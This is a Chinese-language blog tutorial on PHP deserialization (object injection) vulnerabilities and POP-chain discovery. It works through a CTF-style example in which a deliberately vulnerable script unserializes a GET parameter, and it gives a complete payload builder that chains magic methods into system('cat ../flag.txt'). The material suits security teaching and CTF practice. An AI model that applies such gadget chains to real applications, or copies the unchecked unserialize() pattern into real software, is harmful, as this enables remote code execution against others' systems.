Ashing's Blog

想学的太多 懂得的太少

0%

反序列化漏洞的成因及利用

接着上篇继续讲:反序列化漏洞

0x01 本质无害

  • 反序列化的数据本质上来说是没有危害的

  • 用户可控数据进行反序列化是存在危害的

0x02 漏洞根源

  • 根本原因:程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。

  • 这个漏洞的形成是由于跟serialize和unserialize相关的magic函数违背正确利用的缘故。 在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

0x03 POP链及漏洞发现技巧

由于反序列化漏洞需要很多类甚至需要跨越不同的文件,所有一般只可能白盒审计才可能发现反序列化漏洞。黑盒一般发现不了,因为根本不知道内部具体的代码函数情况,不过可以想办法把源码弄到手。

默认情况下 Composer 会从 Packagist下载包,那么我们可以通过审计这些包来找到可利用的 POP链。

找PHP链的基本思路:

  • 1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数

  • 2.追踪调用过程(反向找,正向验证)

  • 3.手工构造 并验证 POP 链

  • 4.开发一个应用使用该库和自动加载机制,来测试exploit 一些对我们来说有用的POP链方法:

  • 命令执行:

1
2
3
4
exec()
passthru()
popen()
system()

-
文件操作:

1
2
3
file_put_contents()
file_get_contents()
unlink()

0x04 构造exploit的思路

碰到php反序列化的问题时,如果参数可控,我们要反方向去寻找,即先找到调用我们想要调用的函数或方法,然后给可控的参数赋恰当的值,逆向推理,最后得出序列化字符串。

  • 1.寻找可能存在漏洞的应用

  • 2.在他所使用的库中寻找 POP gadgets

  • 3.在虚拟机中安装这些库,将找到的POP链对象序列化,在反序列化测试payload

  • 4.将序列化之后的payload发送到有漏洞web应用中进行测试 这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果

0x05 利用反序列化漏洞

利用两个条件:

1、程序中存在序列化字符串的输入点
2、程序中存在可以利用的magic函数

举个例子:源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
error_reporting(0);
highlight_file(__FILE__);
class gg
{
private $gg;
public function __destruct()
{
$this->gg->get1();
}
}
class start
{
private $start1;
private $start2;
public function get1()
{
$s1 = $this->start1;
$s2 = $this->start2;
$s1($s2);
}
}

class cat
{
private $name = "蛋黄";
private $color = "橘色";
private $weight = "5公斤";

public function getName()
{
return $this->name;
}

public function getColor()
{
return $this->color;
}

public function getWeight()
{
return $this->weight;
}

public function __invoke($args)
{
echo $args."不是函数";
}
}

class test2
{
private $a;
public function __toString()
{
$this->a->getFlag();
}
}

class flag
{
public function getFlag()
{
system('cat ../flag.txt');
}
}
$x = $_GET['x'];
if (isset($x)) {
unserialize($x);
}
?>

思路: 看到 unserialize()知道是反序列化问题 从后往前逆推

  • 1)想要得到flag 必须得调用flag 类里面的 getflag()方法

  • 2)往上看,发现test2 里面调用了getflag()方法

  • 3)但是这个getflag是a对应的方法,所以必须把a赋值为flag的类并且,getflag()函数在tostring 里面,所以要把test2类当作一个字符串来使用

  • 4)上面cat 方法里面有关于字符串的调用,所以可以把args 赋为text2 的新类,但是想要调用echo 语句,必须得调用 invoke方法,所以呢,要把cat 当作一个函数来使用

  • 5) 向上寻找函数的调用,发现start 里面有关于函数的调用,所以应该把s1赋值为cat的类,而s2 是函数的参数,联想到上面的__revoke,所以,可以把$s2赋值为test2的类

  • 6)想要实现上述,必须调用get1()方法,向上寻找,发现gg类中调用了get1(),但是却是变量gg的 方法,所以将变量gg赋值为start的类,就可以调用get1()方法了

    payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php

class gg
{
private $gg;
public function __construct()
{
$this->gg = new start();

}

public function __destruct()
{

$this->gg->get1();
}
}
class start
{
private $start1;
private $start2;
public function __construct()
{
$this->start1 = new cat();
$this->start2=new test2();

}
public function get1()
{
$s1 = $this->start1;
$s2 = $this->start2;
$s1($s2);
}
}

class cat
{
private $name = "蛋黄";
private $color = "橘色";
private $weight = "5公斤";

public function getName()
{
return $this->name;
}

public function getColor()
{
return $this->color;
}

public function getWeight()
{
return $this->weight;
}

public function __invoke($args)
{
echo $args."不是函数";
}
}

class test2
{
private $a;
public function __construct()
{
$this->a = new flag();

}
public function __toString()
{
$this->a->getFlag();
}
}
class flag
{
public function getFlag()
{
system('cat ../flag.txt');
}
}
$b = new gg;
echo urlencode(serialize($b))."<br / >";

?>

正向理思路:

1.首先选创建一个新类gg,销毁时调用方__destruct,调用get1()  
2.get1()中,s1 是cat的新类,s2是test2的新类,s1当作函数,调用__invoke,s2 当作字符串,调用__tostring   
3.然后调用__tostring,中的getflag(),执行system(),获得flag